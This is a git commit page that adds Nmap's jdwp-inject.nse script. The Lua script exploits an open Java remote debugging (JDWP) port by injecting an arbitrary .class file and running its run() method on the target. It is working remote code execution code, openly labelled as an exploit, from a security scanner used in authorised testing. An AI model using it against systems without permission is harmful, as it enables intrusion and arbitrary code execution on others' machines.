diff options
author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-17 07:42:04 +0000 |
---|---|---|
committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-17 07:42:04 +0000 |
commit | 0d47952611198ef6b1163f366dc03922d20b1475 (patch) | |
tree | 3d840a3b8c0daef0754707bfb9f5e873b6b1ac13 /scripts/jdwp-inject.nse | |
parent | Initial commit. (diff) | |
download | nmap-upstream.tar.xz nmap-upstream.zip |
Adding upstream version 7.94+git20230807.3be01efb1+dfsg.upstream/7.94+git20230807.3be01efb1+dfsgupstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to '')
-rw-r--r-- | scripts/jdwp-inject.nse | 87 |
1 files changed, 87 insertions, 0 deletions
diff --git a/scripts/jdwp-inject.nse b/scripts/jdwp-inject.nse new file mode 100644 index 0000000..9628a50 --- /dev/null +++ b/scripts/jdwp-inject.nse @@ -0,0 +1,87 @@ +local io = require "io" +local jdwp = require "jdwp" +local stdnse = require "stdnse" +local nmap = require "nmap" +local shortport = require "shortport" +local string = require "string" + +description = [[ +Attempts to exploit java's remote debugging port. When remote debugging port +is left open, it is possible to inject java bytecode and achieve remote code +execution. This script allows injection of arbitrary class files. + +After injection, class' run() method is executed. +Method run() has no parameters, and is expected to return a string. + +You must specify your own .class file to inject by <code>filename</code> argument. +See nselib/data/jdwp-class/README for more. +]] + +--- +-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class +-- +-- @args jdwp-inject.filename Java <code>.class</code> file to inject. +-- @output +-- PORT STATE SERVICE REASON +-- 2010/tcp open search syn-ack +-- | jdwp-inject: +-- |_ Hello world from the remote machine! + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"exploit","intrusive"} + +portrule = function(host, port) + -- JDWP will close the port if there is no valid handshake within 2 + -- seconds, Service detection's NULL probe detects it as tcpwrapped. + return port.service == "tcpwrapped" + and port.protocol == "tcp" and port.state == "open" + and not(shortport.port_is_excluded(port.number,port.protocol)) +end + +action = function(host, port) + stdnse.sleep(5) -- let the remote socket recover from connect() scan + local status,socket = jdwp.connect(host,port) -- initialize the connection + if not status then + stdnse.debug1("error, %s",socket) + return nil + end + + -- read .class file + local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') + if filename == nil then + return stdnse.format_output(false, "This script requires a .class file to inject.") + end + local file = io.open(nmap.fetchfile(filename) or filename, "rb") + local class_bytes = file:read("a") + file:close() + + -- inject the class + local injectedClass + status,injectedClass = jdwp.injectClass(socket,class_bytes) + if not status then + stdnse.debug1("Failed to inject class") + return stdnse.format_output(false, "Failed to inject class") + end + -- find injected class method + local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) + + if runMethodID == nil then + stdnse.debug1("Couldn't find run method") + return stdnse.format_output(false, "Couldn't find run method.") + end + + -- invoke run method + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) + if not status then + stdnse.debug1("Couldn't invoke run method") + return stdnse.format_output(false, result) + end + -- get the result string + local stringID = string.unpack(">x I8",result) + status,result = jdwp.readString(socket,0,stringID) + -- parse results + return stdnse.format_output(status,result) +end + |